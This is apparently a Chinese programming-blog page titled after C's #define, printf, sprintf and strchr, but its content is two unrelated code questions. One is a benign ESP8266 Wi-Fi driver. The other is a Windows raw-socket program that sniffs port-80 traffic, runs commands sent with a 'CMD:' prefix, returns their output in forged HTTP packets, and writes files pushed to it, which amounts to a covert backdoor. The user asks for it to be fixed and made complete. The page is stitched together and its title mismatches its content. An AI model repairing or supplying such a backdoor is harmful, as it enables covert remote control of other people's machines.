#define,printf, sprintf, strchr的那些事

本文详细讲解了C和C++中宏定义#define的用法,并深入探讨了printf, sprintf及strchr等函数的应用场景及常见错误。通过本文的学习,读者可以更好地掌握这些基础但重要的编程元素。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

``` // 单片机头文件 #include "stm32f10x.h" // 网络设备驱动 #include "esp8266.h" // 硬件驱动 #include "delay.h" #include "usart.h" // C库 #include <string.h> #include <stdio.h> // #define ESP8266_WIFI_INFO "AT+CWJAP=\"ChinaNet-y3ir\",\"12345678\"\r\n" #define ESP8266_WIFI_INFO "AT+CWJAP=\"hhh\",\"12345678\"\r\n" #define ESP8266_ONENET_INFO "AT+CIPSTART=\"TCP\",\"183.230.40.39\",6002\r\n" unsigned char esp8266_buf[256]; unsigned short esp8266_cnt = 0, esp8266_cntPre = 0; void ESP8266_Clear(void) { memset(esp8266_buf, 0, sizeof(esp8266_buf)); esp8266_cnt = 0; } _Bool ESP8266_WaitRecive(void) { if (esp8266_cnt == 0) // 如果接收计数为0 则说明没有处于接收数据中,所以直接跳出,结束函数 return REV_WAIT; if (esp8266_cnt == esp8266_cntPre) // 如果上一次的值和这次相同,则说明接收完毕 { esp8266_cnt = 0; // 清0接收计数 return REV_OK; // 返回接收完成标志 } esp8266_cntPre = esp8266_cnt; // 置为相同 return REV_WAIT; // 返回接收未完成标志 } _Bool ESP8266_SendCmd(char *cmd, char *res, u16 time) { Usart3_SendString((unsigned char *)cmd, strlen((const char *)cmd)); while (time--) { if (ESP8266_WaitRecive() == REV_OK) // 如果收到数据 { if (strstr((const char *)esp8266_buf, res) != NULL) // 如果检索到关键词 { ESP8266_Clear(); // 清空缓存 return 0; } } delay_ms(10); } return 1; } void ESP8266_SendData(unsigned char *data, unsigned short len) { char cmdBuf[32]; ESP8266_Clear(); // 清空接收缓存 sprintf(cmdBuf, "AT+CIPSEND=%d\r\n", len); // 发送命令 if (!ESP8266_SendCmd(cmdBuf, ">", 200)) // 收到‘>’时可以发送数据 { Usart3_SendString(data, len); // 发送设备连接请求数据 } } unsigned char *ESP8266_GetIPD(unsigned short timeOut) { char *ptrIPD = NULL; do { if (ESP8266_WaitRecive() == REV_OK) // 如果接收完成 { ptrIPD = strstr((char *)esp8266_buf, "IPD,"); // 搜索“IPD”头 if (ptrIPD == NULL) // 如果没找到,可能是IPD头的延迟,还是需要等待一会,但不会超过设定的时间 { // printf("\"IPD\" not found\r\n"); } else { ptrIPD = strchr(ptrIPD, ':'); // 找到':' if (ptrIPD != NULL) { ptrIPD++; return (unsigned char *)(ptrIPD); } else return NULL; } } delay_ms(5); // 延时等待 } while (timeOut--); return NULL; // 超时还未找到,返回空指针 } void ESP8266_Init(void) { char str[125]; ESP8266_Clear(); printf("AT\r\n"); while (ESP8266_SendCmd("AT\r\n\r", "OK", 200)) delay_ms(300); printf("CWMODE\r\n"); while (ESP8266_SendCmd("AT+CWMODE=1\r\n", "OK", 200)) delay_ms(300); printf("AT+CWDHCP\r\n"); while (ESP8266_SendCmd("AT+CWDHCP=1,1\r\n", "OK", 200)) delay_ms(300); printf("CWJAP\r\n"); memset(str, 0, sizeof(str)); sprintf(str, "AT+CWJAP=\"%s\",\"%s\"\r\n", SSID, PASS); while (ESP8266_SendCmd(str, "GOT IP", 200)) delay_ms(300); printf("CIPSTART\r\n"); memset(str, 0, sizeof(str)); sprintf(str, "AT+CIPSTART=\"TCP\",\"%s\",%d\r\n", ServerIP, ServerPort); while (ESP8266_SendCmd(str, "CONNECT", 200)) delay_ms(500); printf("ESP8266 Init OK\r\n"); // Sys_Restart();//软件复位 }```解释代码
03-21
#define _CRT_SECURE_NO_WARNINGS #define WIN32_LEAN_AND_MEAN #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <string> #include <process.h> #pragma comment(lib, "ws2_32.lib") // 使用 const 定义常量 const int MAX_PACKET_SIZE = 65536; const int HTTP_PORT = 80; // 手动定义缺失的宏 #ifndef SIO_RCVALL #define IOC_IN 0x80000000 #define IOC_VENDOR 0x18000000 #define _WSAIOW(x,y) (IOC_IN|(x)|(y)) #define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1) #endif #ifndef RCVALL_ON #define RCVALL_ON 1 #endif #pragma pack(push, 1) typedef struct _IP_HEADER { UCHAR ver_ihl; // 版本和头部长度 UCHAR tos; // 服务类型 USHORT tot_len; // 总长度 USHORT id; // 标识符 USHORT frag_off; // 分片偏移 UCHAR ttl; // 生存时间 UCHAR protocol; // 协议类型 USHORT check; // 校验和 ULONG saddr; // 源地址 ULONG daddr; // 目的地址 } IP_HEADER; typedef struct _TCP_HEADER { USHORT src_port; // 源端口 USHORT dst_port; // 目的端口 ULONG seq_num; // 序列号 ULONG ack_num; // 确认号 UCHAR data_offset; // 数据偏移 UCHAR flags; // 标志位 USHORT window; // 窗口大小 USHORT checksum; // 校验和 USHORT urg_ptr; // 紧急指针 } TCP_HEADER; #pragma pack(pop) // 校验和计算函数 USHORT checksum(USHORT* buffer, int size) { ULONG cksum = 0; while (size > 1) { cksum += *buffer++; size -= static_cast<int>(sizeof(USHORT)); } if (size) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return static_cast<USHORT>(~cksum); } // 命令执行函数 void execute_command(const char* cmd, char* output, size_t output_size) { FILE* fp; if (fopen_s(&fp, cmd, "r") == 0 && fp) { if (fgets(output, static_cast<int>(output_size), fp) == NULL) { strncpy_s(output, output_size, "Command failed", _TRUNCATE); } _pclose(fp); } else { strncpy_s(output, output_size, "Command failed", _TRUNCATE); } } int main() { WSADATA wsa; SOCKET sock; DWORD flag = RCVALL_ON; struct sockaddr_in saddr; char buffer[MAX_PACKET_SIZE]; // 初始化Winsock if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup failed: %d\n", WSAGetLastError()); return 1; } // 创建原始套接字 sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED); if (sock == INVALID_SOCKET) { printf("Socket creation failed: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // 设置端口复用 int opt = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<char*>(&opt), sizeof(opt)) == SOCKET_ERROR) { printf("SO_REUSEADDR failed: %d\n", WSAGetLastError()); } // 绑定80端口 memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(HTTP_PORT); saddr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, reinterpret_cast<SOCKADDR*>(&saddr), sizeof(saddr)) == SOCKET_ERROR) { printf("Bind failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } // 设置混杂模式 DWORD bytesRet; if (WSAIoctl(sock, SIO_RCVALL, &flag, sizeof(flag), NULL, 0, &bytesRet, NULL, NULL) == SOCKET_ERROR) { printf("WSAIoctl failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } printf("[+] Server listening on port 80...\n"); printf("[!] Note: This program requires administrator privileges to run\n"); while (true) { int ret = recv(sock, buffer, MAX_PACKET_SIZE, 0); if (ret <= 0) continue; IP_HEADER* iph = reinterpret_cast<IP_HEADER*>(buffer); if (iph->protocol != IPPROTO_TCP) continue; TCP_HEADER* tcph = reinterpret_cast<TCP_HEADER*>( buffer + (iph->ver_ihl & 0x0F) * 4); if (ntohs(tcph->dst_port) != HTTP_PORT) continue; char* payload = buffer + (iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4; int payload_len = ret - ((iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4); if (payload_len > 0) { // 命令执行功能 if (strncmp(payload, "CMD:", 4) == 0) { char cmd_output[1024]; execute_command(payload + 4, cmd_output, sizeof(cmd_output)); printf("[+] Command executed: %s\nResult: %s\n", payload + 4, cmd_output); // 构造响应包 char resp_packet[1500]; IP_HEADER* resp_ip = reinterpret_cast<IP_HEADER*>(resp_packet); TCP_HEADER* resp_tcp = reinterpret_cast<TCP_HEADER*>(resp_packet + sizeof(IP_HEADER)); // 填充IP头 memcpy(resp_ip, iph, sizeof(IP_HEADER)); resp_ip->saddr = iph->daddr; resp_ip->daddr = iph->saddr; resp_ip->tot_len = htons(static_cast<u_short>( sizeof(IP_HEADER) + sizeof(TCP_HEADER) + strlen(cmd_output) + 40)); resp_ip->check = 0; // 填充TCP头 resp_tcp->src_port = tcph->dst_port; resp_tcp->dst_port = tcph->src_port; resp_tcp->seq_num = htonl(ntohl(tcph->ack_num)); resp_tcp->ack_num = htonl(ntohl(tcph->seq_num) + payload_len); resp_tcp->data_offset = 0x50; resp_tcp->flags = 0x18; resp_tcp->window = htons(64240); resp_tcp->checksum = 0; // 填充HTTP响应头 char* resp_payload = resp_packet + sizeof(IP_HEADER) + sizeof(TCP_HEADER); size_t cmd_len = strlen(cmd_output); int len = sprintf_s(resp_payload, sizeof(resp_packet) - sizeof(IP_HEADER) - sizeof(TCP_HEADER), "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %zu\r\n\r\n%s", cmd_len, cmd_output); // 计算TCP校验和 - 使用动态内存分配解决C2131错误 char pseudo_header[12]; memcpy(pseudo_header, &resp_ip->saddr, 4); memcpy(pseudo_header + 4, &resp_ip->daddr, 4); pseudo_header[8] = 0; pseudo_header[9] = IPPROTO_TCP; *reinterpret_cast<USHORT*>(pseudo_header + 10) = htons(static_cast<u_short>(sizeof(TCP_HEADER) + len)); // 动态分配内存替代固定大小数组 char* tcp_segment = new char[sizeof(TCP_HEADER) + len]; memcpy(tcp_segment, resp_tcp, sizeof(TCP_HEADER)); memcpy(tcp_segment + sizeof(TCP_HEADER), resp_payload, len); USHORT tcp_len = static_cast<USHORT>(sizeof(TCP_HEADER) + len); resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(pseudo_header), 12); resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(tcp_segment), tcp_len); // 释放动态分配的内存 delete[] tcp_segment; // 发送响应 struct sockaddr_in dest; dest.sin_family = AF_INET; dest.sin_addr.s_addr = resp_ip->daddr; sendto(sock, resp_packet, static_cast<int>(sizeof(IP_HEADER) + sizeof(TCP_HEADER) + len), 0, reinterpret_cast<SOCKADDR*>(&dest), sizeof(dest)); } // 文件传输功能 else if (strncmp(payload, "FILE:", 5) == 0) { char filename[256]; const char* space_pos = strchr(payload + 5, ' '); if (space_pos) { ptrdiff_t name_len = space_pos - (payload + 5); if (name_len < sizeof(filename)) { strncpy_s(filename, sizeof(filename), payload + 5, static_cast<size_t>(name_len)); filename[name_len] = '\0'; printf("[+] Receiving file: %s\n", filename); FILE* fp; if (fopen_s(&fp, filename, "wb") == 0 && fp) { size_t data_len = static_cast<size_t>( payload_len - 6 - static_cast<int>(name_len)); fwrite(space_pos + 1, 1, data_len, fp); fclose(fp); printf("[+] File saved successfully\n"); } else { printf("[-] Failed to open file for writing\n"); } } } else { printf("[-] Invalid FILE command format\n"); } } } } closesocket(sock); WSACleanup(); return 0; } 该程序运行后报错:WSAIoctl failed: 10022 解决报错,给出修改后的完整程序
最新发布
08-19
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值